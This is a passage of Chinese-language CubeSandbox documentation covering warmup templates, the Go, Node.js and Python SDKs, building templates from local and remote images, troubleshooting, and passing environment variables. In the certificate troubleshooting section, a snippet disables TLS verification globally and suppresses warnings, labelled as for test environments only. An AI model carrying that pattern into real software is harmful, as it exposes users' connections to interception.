localhost:5000/pi-agent-cube:latest docker push localhost:5000/pi-agent-warmup-cube:latest ``` 请将示例地址替换为 CubeSandbox 集群能够访问的镜像仓库。 ### 4. 使用应用探针制作模板 创建模板时暴露 `envd` 和 warmup adapter 的端口，但将探针指向真正代表 Pi 会话初始化完成的 `/readyz`： ```bash cubemastercli tpl create-from-image \ --image localhost:5000/pi-agent-warmup-cube:latest \ --alias pi-warmup \ --writable-layer-size 4G \ --expose-port 49983 \ --expose-port 8080 \ --probe 8080 \ --probe-path /readyz ``` 这里不能使用 `49983/health` 作为预热完成信号：它只能说明 `envd` 已经就绪，不能说明 Pi `AgentSession` 已创建完成。而是应当等待 `/readyz` 就绪，此时所有的服务才均已启动完成。 ## 设计自己的预热服务 将同一模式应用到其他服务时，请遵循以下原则： * **探测真实的预热状态。** 完成模型加载、运行时初始化或缓存构建后，再让就绪端点返回 2xx。 * **保持进程常驻。** 完成初始化的进程必须继续运行，才能随内存快照一起恢复。 * **不要把密钥写入模板。** 构建期间不要注入 API Key、令牌或用户数据；应在沙箱恢复后通过请求、密钥保险柜或其他运行时机制提供。 * **谨慎处理外部连接。** 数据库连接、长连接和临时凭证在恢复时可能已失效。恢复后应检测并重建这类连接，而不是假设快照中的连接仍可使用。 * **明确并发模型。** Pi 示例中的一个 adapter 只维护一个 session，并发任务返回 HTTP 409。需要并发时，应实现连接池、会话池，或让每个沙箱只处理一个任务。 * **保持就绪检查轻量。** 探针应只读取本地状态，不应重复执行昂贵初始化或产生外部副作用。 ## 排查问题 | 现象 | 检查项 | | --- | --- | | 模板构建一直等待探针 | 确认服务监听 `0.0.0.0`、端口和路径匹配，并查看初始化日志。 | | 模板 READY，但应用首次请求仍需初始化 | 就绪端点返回过早；将 `ready` 状态设置移到完整初始化之后。 | | SDK 命令或文件 API 不可用 | 确认镜像包含 `envd`，并通过 `--expose-port 49983` 暴露其端口。 | | 恢复后外部请求失败 | 检查快照前建立的连接或凭证是否过期，并在恢复后重新建立。 | 完整 Pi Agent 的构建、调用和网络策略示例见 [`examples/pi-agent-integration/README_zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/README_zh.md)。 --- url: https://cubesandbox.com/zh/guide/tutorials/sdk/go.md --- # Go SDK CubeSandbox Go SDK 支持沙箱生命周期管理、代码执行、命令、PTY、文件操作、快照、克隆、回滚、持久卷和网络策略。 ## 安装 ```bash go get github.com/tencentcloud/CubeSandbox/sdk/go ``` ## 配置 ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=<your-template-id> # 可选的远程数据面访问配置 export CUBE_PROXY_NODE_IP=<cubeproxy-node-ip> export CUBE_PROXY_PORT_HTTP=80 export CUBE_PROXY_SCHEME=http export CUBE_SANDBOX_DOMAIN=cube.app ``` `NewConfigFromEnv` 同时支持 `E2B_API_URL` 和 `E2B_API_KEY`；Cube 专用环境变量的优先级更高。 ## 快速开始 ```go package main import ( "context" "fmt" cubesandbox "github.com/tencentcloud/CubeSandbox/sdk/go" ) func main() { ctx := context.Background() client := cubesandbox.NewClient(cubesandbox.NewConfigFromEnv()) defer client.Close() sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{}) if err != nil { panic(err) } defer sandbox.Kill(ctx) result, err := sandbox.RunCode(ctx, "x = 41\nx + 1", cubesandbox.RunCodeOptions{}) if err != nil { panic(err) } fmt.Println(result.Text) } ``` `Client.Close` 只释放本地空闲 HTTP 连接，不会销毁远程沙箱。使用 `Sandbox.Kill` 清理沙箱，或使用 `Sandbox.Pause` 保留沙箱以便之后重新连接。 ## 主要能力 * 执行代码和 Shell 命令。 * 创建、重连、调整和控制交互式 PTY。 * 完整的文件系统操作和目录监听。 * 创建快照、回滚以及并发克隆。 * 管理持久卷和宿主机目录挂载。 * 暂停并重新连接沙箱。 * 配置节点调度、远程代理以及 L3/L4、L7 出网策略。 详细的方法说明和集成测试步骤请查看 [Go SDK README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/go/README.md)。 --- --- url: https://cubesandbox.com/zh/guide/tutorials/sdk/nodejs.md --- # Node.js SDK `@cubesandbox/sdk` 是 CubeSandbox 官方 Node.js 和 TypeScript SDK。它使用 Promise、camelCase 和 `async`/`await`，功能范围与 Python SDK 保持一致。 ## 环境要求与安装 * Node.js 18 或更高版本 ```bash npm install @cubesandbox/sdk ``` 该包同时提供 ESM、CommonJS 构建和 TypeScript 类型声明。 ## 配置 ```bash export CUBE_API_URL=http://<your-cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # 无法解析 *.cube.app 时，远程访问需要配置 export CUBE_PROXY_NODE_IP=<your-cubeproxy-node-ip> ``` ## 快速开始 ```ts import { Sandbox } from "@cubesandbox/sdk"; const sandbox = await Sandbox.create(); try { const code = await sandbox.runCode('print("hello from CubeSandbox")'); console.log(code.logs.stdout); const command = await sandbox.commands.run("uname -a"); console.log(command.stdout); await sandbox.files.write("/tmp/hello.txt", "Hello, world!"); console.log(await sandbox.files.read("/tmp/hello.txt")); } finally { await sandbox.kill(); } ``` 使用 TypeScript 5.2 和 Node.js 20 或更高版本时，可以通过显式资源管理自动清理沙箱： ```ts await using sandbox = await Sandbox.create(); const result = await sandbox.runCode("1 + 1"); console.log(result.text); ``` ## 主要能力 * 执行代码，支持变量持久化、流式输出和空闲超时。 * 执行 Shell 命令和交互式 PTY 会话。 * 完整的文件系统操作和目录监听。 * 暂停、重连、创建快照、回滚和克隆沙箱。 * 管理持久卷和宿主机目录挂载。 * 配置节点调度以及 L3/L4、L7 网络策略。 * 在 ESM 或 CommonJS 应用中使用完整类型 API。 完整 API 参考、超时语义和开发说明请查看 [Node.js SDK README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/node/README.md)。 --- --- url: https://cubesandbox.com/zh/guide/tutorials/sdk/python.md --- # Python SDK `cubesandbox` 是 CubeSandbox 官方 Python SDK，提供符合 Python 使用习惯的接口，用于创建沙箱、执行代码与命令、管理文件以及控制沙箱完整生命周期。 ## 环境要求与安装 * Python 3.9 或更高版本 ```bash pip install cubesandbox ``` ## 配置 ```bash export CUBE_API_URL=http://<your-cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # 无法解析 *.cube.app 时，远程访问需要配置 export CUBE_PROXY_NODE_IP=<your-cubeproxy-node-ip> ``` 也可以在代码中显式配置： ```python from cubesandbox import Config, Sandbox config = Config( api_url="http://127.0.0.1:3000", template_id="<your-template-id>", proxy_node_ip="<your-cubeproxy-node-ip>", ) with Sandbox.create(config=config) as sandbox: result = sandbox.run_code("1 + 1") print(result.text) ``` ## 快速开始 ```python from cubesandbox import Sandbox with Sandbox.create() as sandbox: code = sandbox.run_code('print("hello from CubeSandbox")') print(code.logs.stdout) command = sandbox.commands.run("uname -a") print(command.stdout) sandbox.files.write("/tmp/hello.txt", "Hello, world!") print(sandbox.files.read("/tmp/hello.txt")) ``` 退出 `with` 代码块时，上下文管理器会自动销毁沙箱。 ## 主要能力 * 执行代码，支持变量持久化与流式输出。 * 执行 Shell 命令和交互式 PTY 会话。 * 读写、列出、监听、重命名和删除文件。 * 暂停并重新连接沙箱，同时保留内存状态。 * 创建快照、回滚和克隆沙箱。 * 创建并挂载持久卷或宿主机目录。 * 配置计算节点调度以及 L3/L4、L7 网络策略。 完整 API 参考和高级示例请查看 [Python SDK 中文 README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/python/README.zh.md)。 --- --- url: https://cubesandbox.com/zh/guide/tutorials/template-build-practice.md --- # 本地镜像 & 远程镜像实战文档 本文基于实际操作经验，介绍两种制作自定义 Cube Sandbox 模板的完整流程： * **方式一：本地构建镜像**（镜像只在当前机器，无需推送到远端） * **方式二：远程镜像**（镜像已推送到 Registry，集群从远端拉取） > 友情链接，建议同步阅读 [从 OCI 镜像制作模板](./template-from-image.md) 和 [自定义模板镜像](./bring-your-own-image.md) 文档。 ## 前置条件 * 已安装 `cubemastercli` 并加入 `$PATH` * 已安装 Docker * CubeMaster 服务正常运行（`cubemastercli tpl list` 能返回结果） * 已找到 mkcert CA 证书路径（SDK 连接沙箱时需要）： ```bash # 通常在这里 ls ~/.local/share/mkcert/rootCA.pem ``` ## 方式一：本地构建镜像制作模板 适合在 **CubeMaster 所在机器上本地开发调试**，镜像无需推送到远端 Registry。 ### Step 1：写 Dockerfile 本教程通过 CubeSandbox SDK 和 E2B SDK 操作沙箱，并将 `envd` 的 `49983/health` 作为模板 probe，因此示例基于预装 `envd` 的官方 `cubesandbox-base` 构建。 ```dockerfile FROM ghcr.io/tencentcloud/cubesandbox-base:latest # 安装你需要的工具和依赖 RUN apt-get update && apt-get install -y --no-install-recommends \ python3 python3-pip curl wget git vim jq \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir numpy pandas requests httpx ``` 保存为 `/tmp/Dockerfile.cube-test`。 ### Step 2：构建镜像 ```bash docker build -f /tmp/Dockerfile.cube-test -t my-sandbox:v1 . ``` ### Step 3：验证 envd 正常 制作模板前，先本地跑一下验证 envd 能正常响应 `/health`，避免模板构建时探活失败： ```bash cid=$(docker run -d my-sandbox:v1) sleep 2 docker exec "$cid" curl -s -o /dev/null -w "envd /health => %{http_code}\n" http://127.0.0.1:49983/health docker rm -f "$cid" ``` **期望输出：`envd /health => 204`** 如果不是 204，检查 Dockerfile 的 `ENTRYPOINT` 是否正确（见[常见问题](#常见问题)）。 ### Step 4：制作模板 ```bash cubemastercli tpl create-from-image \ --image my-sandbox:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` 命令立即返回 `job_id` 和 `template_id`： ``` job_id: 718b7ebd-5a2c-4f33-85d0-1c36f0d1b3ee template_id: tpl-01adfa335c03460cb4a09225 status: PENDING phase: PULLING ``` ### Step 5：等待模板就绪 ```bash cubemastercli tpl watch --job-id <job_id> ``` 等待输出 `status: READY` 即完成： ``` status: READY phase: READY progress: 100% distribution: 1/1 ready, 0 failed ``` ### Step 6：验证模板可用 两种 SDK 均可验证，任选其一。 #### 方式 A：e2b\_code\_interpreter（需要 SSL 证书） ```bash export CUBE_TEMPLATE_ID=<template_id> export E2B_API_URL=http://127.0.0.1:3000 export E2B_API_KEY=e2b_000000 export SSL_CERT_FILE=~/.local/share/mkcert/rootCA.pem python3 - << 'EOF' import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sb: r = sb.commands.run("python3 --version && echo hello-cube") print(r.stdout) EOF ``` **期望输出：** ``` Python 3.x.x hello-cube ``` #### 方式 B：cubesandbox SDK（无需 SSL 证书，推荐） > 尚未安装 cubesandbox SDK或安装失败？参考（[常见问题](#常见问题) 的cubesandbox SDK 安装失败）。 ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=<template_id> export CUBE_PROXY_NODE_IP=127.0.0.1 # 本机；远程访问填 CubeProxy 节点 IP python3 - << 'EOF' import os, time from cubesandbox import Sandbox, Config from cubesandbox._exceptions import ApiError cfg = Config( api_url=os.environ["CUBE_API_URL"], template_id=os.environ["CUBE_TEMPLATE_ID"], proxy_node_ip=os.environ.get("CUBE_PROXY_NODE_IP", ""), ) def run_with_retry(sb, code, max_retries=10, interval=1.0): for i in range(max_retries): try: return sb.run_code(code) except ApiError as e: if e.status_code == 502 and i < max_retries - 1: time.sleep(interval) else: raise with Sandbox.create(config=cfg) as sb: r = run_with_retry(sb, 'import sys; print(sys.version); print("hello-cube")') for line in r.logs.stdout: print(line, end="") EOF ``` **期望输出：** ``` Python 3.x.x hello-cube ``` > ⚠️ `cubesandbox` SDK 的 `run_code` 依赖 Jupyter kernel（49999 端口）。 > 自定义模板需在 Dockerfile 中安装 `jupyter_kernel_gateway ipykernel`， > 并在制作模板时同时暴露 49983 和 49999 两个端口。 ## 方式二：远程镜像制作模板 适合**团队共享镜像**或**多节点集群**场景，镜像推送到 Registry 后，集群各节点都能拉取。 ### Step 1：写 Dockerfile 与方式一相同，参考上方 Dockerfile 示例。 ### Step 2：构建镜像（带 Registry 前缀） ```bash docker build -f /tmp/Dockerfile.cube-test \ -t ccr.ccs.tencentyun.com/<命名空间>/<镜像名>:v1 . ``` ### Step 3：验证 envd 正常 同方式一 Step 3。 ### Step 4：登录并推送镜像 ```bash # 登录 Registry（如需认证） docker login ccr.ccs.tencentyun.com # 推送 docker push ccr.ccs.tencentyun.com/<命名空间>/<镜像名>:v1 ``` ### Step 5：制作模板 ```bash cubemastercli tpl create-from-image \ --image ccr.ccs.tencentyun.com/<命名空间>/<镜像名>:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` 私有仓库需要加认证参数： ```bash cubemastercli tpl create-from-image \ --image ccr.ccs.tencentyun.com/<命名空间>/<镜像名>:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health \ --registry-username <用户名> \ --registry-password <密码> ``` ### Step 6 & 7：等待就绪 + 验证 与方式一 Step 5、Step 6 完全相同。 ## 两种方式对比 | | 本地镜像 | 远程镜像 | |---|---|---| | **是否需要推送** | ❌ 不需要 | ✅ 需要 push | | **适用场景** | 单机开发调试 | 团队共享、多节点集群 | | **镜像名格式** | `my-sandbox:v1` | `registry/ns/image:tag` | | **私有仓库认证** | 不需要 | 可能需要 `--registry-username/password` | | **速度** | 快（本地直接读） | 取决于网络和镜像大小 | ## 常见问题 ### 💡 一、apt-get 报 `Temporary failure resolving` **现象：** Docker build 时 apt 无法解析域名。 **原因：** Docker 容器内默认使用 `8.8.8.8` 作为 DNS，内网机器无法访问。`--dns` 参数在旧版 docker build（非 buildx）中不支持，写 `/etc/resolv.conf` 也会被 Docker 覆盖。 **解决：** 查出内网 apt 镜像站 IP，直接硬编码到 `sources.list`： ```bash # 1. 查镜像站 IP（在宿主机上执行） nslookup mirrors.tencent.com 9.218.233.130 | grep Address | tail -1 # => Address: 30.163.240.137 # 2. Dockerfile 里替换 apt 源 RUN sed -i 's|http://archive.ubuntu.com/ubuntu|http://30.163.240.137/ubuntu|g' /etc/apt/sources.list && \ sed -i 's|http://security.ubuntu.com/ubuntu|http://30.163.240.137/ubuntu|g' /etc/apt/sources.list ``` pip 同理，用 IP 替换 pypi 镜像域名： ```dockerfile RUN pip install --no-cache-dir \ -i http://30.163.240.137/pypi/simple/ \ --trusted-host 30.163.240.137 \ numpy pandas ``` ### 💡 二、envd /health 不返回 204 **现象：** Step 3 验证时 `curl` 返回非 204，或连接拒绝。 **原因：** 镜像的 `ENTRYPOINT` / `CMD` 把 `cube-entrypoint.sh` 覆盖掉了，导致 `envd` 没有启动。 **解决：** Dockerfile 里确保 `ENTRYPOINT` 使用 `cube-entrypoint.sh`： ```dockerfile ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["your-app-command"] ``` 或者在自定义 entrypoint 里手动拉起 envd： ```bash /usr/bin/envd -port 49983 >/var/log/envd.log 2>&1 & exec "$@" ``` ### 💡 三、SDK 报 `SSL: CERTIFICATE_VERIFY_FAILED` **现象：** Python SDK 调用沙箱时报证书错误。 **原因：** SDK 通过 HTTPS 访问沙箱域名（`*.cube.app`），但本机不信任 Cube 内置的 mkcert CA。 **解决：** 设置环境变量指向 CA 证书： ```bash export SSL_CERT_FILE=~/.local/share/mkcert/rootCA.pem ``` 或者在代码里临时禁用（仅测试环境）： ```python import ssl, warnings warnings.filterwarnings('ignore') ssl._create_default_https_context = ssl._create_unverified_context ``` ### 💡 四、模板一直卡在 `phase: PULLING` **现象：** `tpl watch` 长时间停在 PULLING 阶段不动。 **原因：** CubeMaster 节点拉不到镜像（网络不通、Registry 认证失败等）。 **排查：** ```bash # 查看任务详情，找 last_error 字段 cubemastercli tpl status --job-id <job_id> --json | jq '.last_error' # 在 CubeMaster 所在节点手动 docker pull 验证 docker pull <镜像地址> ``` **本地镜像补充说明：** 如果用本地镜像（未推送到远端），CubeMaster 会直接从本地 Docker 读取，无需网络，不会卡在 PULLING。确认镜像名拼写正确即可： ```bash docker images | grep <镜像名> ``` ### 💡 五、模板 `status: FAILED`（BUILDING 阶段） **现象：** 模板构建失败，卡在 BUILDING 阶段后变为 FAILED。 **排查：** ```bash cubemastercli tpl status --job-id <job_id> --json | jq '.last_error' ``` **常见原因：** * `--writable-layer-size` 设置过小，构建时磁盘写满 * 节点磁盘空间不足：`df -h` 检查 ### 💡 六、`distribution: 0/N ready` 长时间不变 **现象：** 模板状态已 READY，但 distribution 显示 0 个节点就绪。 **原因：** artifact 正在分发到各节点，多节点集群时正常，稍等即可。 **排查长时间未恢复：** ```bash # 检查目标节点 Cubelet 日志 journalctl -u cubelet -f ``` ### 💡 七、模板制作卡住，沙箱一直处于 running 状态且无法删除 **现象：** 制作模板时（快照阶段）卡住不动，`tpl status` 显示任务长时间无进展；同时有沙箱残留，状态一直是 `running`，`DELETE /sandboxes/:id` 也无法删除。 **原因：** 磁盘空间不足，快照写入失败，导致沙箱进程卡死，无法正常退出，也无法响应删除请求。 **排查：** ```bash # 检查宿主机磁盘使用情况 df -h # 重点关注 Docker 数据目录和 Cube 数据目录 df -h /data/docker/lib/ df -h /var/lib/cube/ 2>/dev/null || df -h /data/cube/ 2>/dev/null # 查看占用最大的目录 du -sh /data/docker/lib/overlay2/* 2>/dev/null | sort -rh | head -10 ``` **解决：** 1. **释放磁盘空间**（清理无用镜像和容器）： ```bash # 清理已退出的容器、无用镜像、build cache docker system prune -f # 如果空间还不够，清理无 tag 的镜像 docker image prune -f ``` 2. **强制清理残留沙箱**（正常 API 删不掉时）： ```bash # 查看残留沙箱进程 ps aux | grep -E 'firecracker|qemu|cubelet' | grep -v grep # 强制 kill 对应进程（替换为实际 PID） kill -9 <PID> # 或通过 Cubelet 日志找到沙箱对应的进程组 journalctl -u cubelet -n 100 | grep <sandboxID> ``` 3. **重新制作模板**：清理完磁盘后重新提交 `tpl create-from-image`，原失败的 job 无需处理。 **预防：** 制作模板前确认宿主机磁盘剩余空间 > 镜像大小 × 2（需要同时存放 rootfs 和快照文件）。 ### 💡 八、`probe` 和 `probe-path` 参数说明 这两个参数告诉 CubeMaster **用哪个端口和路径来探测容器是否就绪**。探活返回 HTTP 2xx 后，模板才会进入 READY 状态。配错是模板构建失败最常见的原因之一。 **参数含义：** | 参数 | 说明 | |------|------| | `--expose-port` | 声明容器对外暴露的端口 | | `--probe` | 探活使用的端口，必须已在 `--expose-port` 中声明 | | `--probe-path` | 探活的 HTTP GET 路径，该路径必须返回 2xx | **不同镜像的正确配置：** **官方 `sandbox-code` 镜像**（代码执行沙箱，envd 监听 49983，Jupyter kernel 监听 49999）： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 \ --probe-path / ``` **官方 `sandbox-browser` 镜像**（浏览器沙箱，envd 监听 49983）： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-browser:latest \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` **基于 `cubesandbox-base` 的自定义镜像**（envd 监听 49983）： ```bash cubemastercli tpl create-from-image \ --image my-registry/my-sandbox:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` **自定义镜像 + 额外应用端口**（比如应用在 8080 提供服务）： ```bash cubemastercli tpl create-from-image \ --image my-registry/my-app:v1 \ --writable-layer-size 2G \ --expose-port 49983 \ --expose-port 8080 \ --probe 49983 \ --probe-path /health ``` **常见配错场景：** | 错误配置 | 现象 | 正确做法 | |---------|------|---------| | `--probe` 端口未在 `--expose-port` 中声明 | 参数校验报错 | 先 `--expose-port` 再 `--probe`，端口保持一致 | | `--probe-path` 填了不存在的路径（如 `/healthz`，实际是 `/health`）| 探活超时，模板 FAILED | 本地先 `curl http://127.0.0.1:<port><path>` 确认返回 2xx | | 用 `sandbox-code` 镜像只暴露了 49983，未暴露 49999 | 模板 READY，但 `run_code` 报连接失败 | `sandbox-code` 需同时暴露 49999 和 49983 | | `--probe-path` 漏写开头的 `/`（写成 `health` 而非 `/health`）| 探活 404 | 路径必须以 `/` 开头 | **本地验证 probe 配置（制作模板前先跑）：** ```bash cid=$(docker run -d <你的镜像>) sleep 2 docker exec "$cid" curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:<probe端口><probe-path> # 期望: 200 或 204 docker rm -f "$cid" ``` ### 💡 九、cubesandbox SDK 安装失败（历史问题，已修复） **现象：** 在旧版仓库上 `pip install` 报错 `BackendUnavailable: Cannot import 'setuptools.backends.legacy'`。 **原因：** 早期 `sdk/python/pyproject.toml` 误填了不存在的 build-backend `setuptools.backends.legacy:build`（PEP 517 setuptools 官方 backend 只有 `setuptools.build_meta` 和 `setuptools.build_meta:__legacy__` 两个，`setuptools.backends.legacy` 从未存在过 —— 不是版本问题，是笔误）。 **解决：** 已在源仓库改为 `setuptools.build_meta`。如果你的本地副本仍是旧版，请 `git pull` 拿到最新 `dev-snapshot`，或手动改一下： ```bash cd CubeSandbox/sdk/python sed -i 's|setuptools.backends.legacy:build|setuptools.build_meta|g' pyproject.toml pip install . ``` ### 💡 十、如何向沙箱传递环境变量 Cube Sandbox 支持三种方式，适用于不同场景。 **方式 1：模板创建时传入（全局默认 env）** 通过 `--env` 烘焙进模板快照，所有从该模板创建的沙箱都会继承： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --probe 49999 \ --env MY_ENV=production \ --env DB_HOST=10.0.0.1 ``` > ⚠️ 写入模板的 env 对所有使用该模板的用户可见，**不要用于存放密钥等敏感信息**。 **方式 2：创建沙箱实例时传入（推荐）** `Sandbox.create()` 的 `envs` 参数，动态注入，只作用于当前沙箱实例： ```python from e2b_code_interpreter import Sandbox with Sandbox.create( template="tpl-xxxx", envs={ "API_KEY": "sk-xxx", "DEBUG": "true", "MY_CUSTOM_VAR": "hello" } ) as sandbox: result = sandbox.run_code(""" import os print(os.environ.get('API_KEY')) print(os.environ.get('DEBUG')) print(os.environ.get('MY_CUSTOM_VAR')) """) print(result) ``` **方式 3：沙箱内通过代码设置（运行时临时变量）** ```python with Sandbox.create(template="tpl-xxxx") as sandbox: # 通过 shell 设置（只在该次命令子进程内有效） sandbox.commands.run("export FOO=bar && echo $FOO") # 通过 Python 设置（在同一个 kernel session 内持久） sandbox.run_code(""" import os os.environ['RUNTIME_VAR'] = 'dynamic_value' print(os.environ['RUNTIME_VAR']) """) ``` **三种方式对比：** | 方式 | 时机 | 作用范围 | 适用场景 | |------|------|----------|---------| | `--env`（模板创建时） | 构建模板时 | 所有沙箱实例 | 固定配置（运行环境、默认参数） | | `envs={}`（SDK 创建时） | 创建沙箱时 | 单个沙箱实例 | **推荐** — 动态配置（密钥、用户参数） | | 代码内 `os.environ` | 运行时 | 当前进程 | 临时变量 | 最常用的是**方式 2**，通过 `Sandbox.create(envs={...})` 传入，灵活且不污染模板。 ## 快速参考 ```bash # 列出所有模板 cubemastercli tpl list cubemastercli tpl list -o wide # 查看模板详情（模板 ID 用位置参数传入，等价于 --template-id） cubemastercli tpl info <template_id> # 删除模板 cubemastercli tpl delete <template_id> # 必要环境变量（使用 SDK 时） export CUBE_TEMPLATE_ID=<template_id> export E2B_API_URL=http://127.0.0.1:3000 export E2B_API_KEY=e2b_000000 export SSL_CERT_FILE=~/.local/share/mkcert/rootCA.pem ``` --- --- url: https://cubesandbox.com/zh/guide/tutorials/template-from-image.md --- # 从 OCI 镜像制作模板 本文介绍如何从标准 OCI 容器镜像出发，完成模板的创建、进度监控、可选的 `tpl merge` 存储迁移，以及删除操作。 建议在开始前先阅读[模板概览](../templates.md)，了解 OCI 镜像、模板快照、端口、探针和 `envd` 等相关概念。 ## 前置条件 * 已安装 `cubemastercli` 并可以连接 CubeMaster * OCI 镜像须可被 CubeMaster 节点访问（公开仓库或已配置认证的私有仓库） > 明文 HTTP 仓库（未启用 TLS）须在镜像引用前加上 `http://`，例如 `http://harbor.internal:5000/ns/app:tag`。不加此前缀时，CubeMaster 默认走 HTTPS（localhost 和 RFC1918 地址除外）。 ## 第一步 — 选择 OCI 镜像 `create-from-image` 接收一个已经构建并发布的 OCI 镜像。本教程使用预装 `envd` 的 CubeSandbox 基础镜像： ```text ghcr.io/tencentcloud/cubesandbox-base:latest ``` 该镜像中的 `envd` 默认监听 `49983`，可以直接使用 `GET /health` 作为模板探针。 如需自定义镜像模板以及将其他现有镜像接入 CubeSandbox，请参阅[自定义模板镜像](./bring-your-own-image.md)。 ## 第二步 — 从镜像创建模板 使用 `tpl create-from-image` 子命令发起构建任务： ```bash cubemastercli tpl create-from-image \ --image ghcr.io/tencentcloud/cubesandbox-base:latest \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` > 加上 `--backend s3` 后，模板及其派生的沙箱 / 快照会走集群共享的 S3 CoW 后端，这是 [跨机 Pause / Resume / FromSnap](../cross-node-snapshot.md) 的前提。省略该标志则沿用历史 `xfs` 路径。 构建模板的过程可以暴露多个端口以及自定义探针路径，也可以传入环境变量 ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 \ --probe-path /health \ --env MY_ENV=production ``` ## 第三步 — 监控进度 有两种方式跟踪构建任务。 ### Watch（阻塞，推荐） `tpl watch` 循环轮询任务，直到任务到达终态（`READY` 或 `FAILED`）才退出： ```bash cubemastercli tpl watch --job-id <job_id> ``` 任务完成时的示例输出： ``` job_id: 2e71b561-153e-4c08-ac37-5270d94f5f15 template_id: tpl-748094d2f2374b0a8a37e6ec attempt_no: 1 artifact_id: rfs-1e8e07c90e9bb8eff94ecde2 status: READY phase: READY progress: 100% distribution: 1/1 ready, 0 failed template_spec_fingerprint: 1e8e07c90e9bb8eff94ecde20396002c411f6b812612a2a05086b85fe245b858 artifact_status: READY artifact_sha256: 5d413bc735062d49d36ef9c0e62cd0c3a915853be5ec0c7fba90e13d9fd33f79 template_status: READY ``` 主要输出字段说明： | 字段 | 说明 | |------|------| | `status` / `template_status` | 任务和模板的整体状态。`READY` 表示模板可用。 | | `phase` | 当前流水线阶段：`PULLING`（拉取镜像）→ `BUILDING`（构建 rootfs）→ `DISTRIBUTING`（分发到节点）→ `READY`。 | | `progress` | 当前阶段完成百分比。 | | `distribution` | `N/M ready` — 已收到 artifact 的集群节点数。 | | `artifact_id` | 构建出的 rootfs artifact 的稳定 ID。 | | `artifact_sha256` | rootfs artifact 的 SHA-256 摘要，用于完整性校验。 | | `template_spec_fingerprint` | 模板规格的确定性指纹（镜像 + 构建参数），相同输入始终产生相同指纹。 | ### Status（单次查询） 只需查看一次当前状态而不阻塞时使用： ```bash cubemastercli tpl status --job-id <job_id> ``` ## 第四步 — 使用模板 `template_status: READY` 后，通过 `template_id` 使用 E2B SDK 创建沙箱： ```bash export CUBE_TEMPLATE_ID=tpl-748094d2f2374b0a8a37e6ec python CubeAPI/examples/create.py ``` ## 查询模板 ### 列出所有模板 ```bash cubemastercli tpl list ``` 输出示例： ``` TEMPLATE_ID INSTANCE_TYPE STATUS CREATED_AT IMAGE_INFO tpl-748094d2f2374b0a8a37e6ec cubebox READY 2026-04-02T08:10:30Z docker.io/library/nginx:latest@sha256:abcd... tpl-4ff5adc5eea44c14b1c8dbb3 cubebox READY 2026-04-01T17:42:11Z docker.io/library/python:3.11 ``` `CREATED_AT` 使用 UTC RFC3339 格式输出。`IMAGE_INFO` 会优先展示镜像引用 + digest（`image@sha256:...`）；当 digest 不可用时降级为仅展示镜像引用。 如果需要同时查看 `VERSION` 和 `LAST_ERROR`，使用宽格式输出： ```bash cubemastercli tpl list -o wide ``` 加 `--json` 输出完整 JSON，便于脚本处理： ```bash cubemastercli tpl list --json | jq '.data[].template_id' ``` ### 查看单个模板详情 ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec ``` 模板 ID 既可以用位置参数传入（与 docker/kubectl 风格一致），也可以继续使用 `--template-id`，两种写法等价。 需要机器可读输出时，加上 `--json`： ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec --json ``` 如果想查看模板里保存的创建请求体，可再加 `--include-request`： ```bash cubemastercli tpl info tpl-748094d2f2374b0a8a37e6ec --json --include-request ``` 如果想预览创建沙箱时最终生效的请求，可使用： ```bash cubemastercli tpl render --template-id tpl-748094d2f2374b0a8a37e6ec --json ``` 如果你更关心“应该看什么、如何一步步预览最终请求”，可继续阅读[模板检查与请求预览](../template-inspection-and-preview.md)。 ## 第五步 — （可选）把历史本地 artifact 迁入 TC 存储 大多数**新建**的 `from-image` 模板已经沿当前数据面直接走 TC 构建，因此**不一定需要再手动执行 `tpl merge`**。`tpl merge` 主要用于以下场景： * 历史模板的 rootfs ext4 还只在 CubeMaster 本地磁盘上 * 集群后来开启了 `s3Backed=true`，希望把旧模板收敛进 S3 / TC artifact store * artifact 已经迁移过，但你想再次触发幂等检查并清理遗留的本地 ext4 文件 命令名叫 `merge`，对应的 API 路径是 `/cube/template/migrate`。默认会阻塞到 migrate job 结束： ```bash cubemastercli tpl merge tpl-748094d2f2374b0a8a37e6ec ``` 如果只想提交 migrate job 就返回，可使用： ```bash cubemastercli tpl merge tpl-748094d2f2374b0a8a37e6ec --detach ``` 这里的 `merge` 指的是**artifact 存储迁移**，不是 `tpl render` 里看到的 `merged_request` 请求合并。 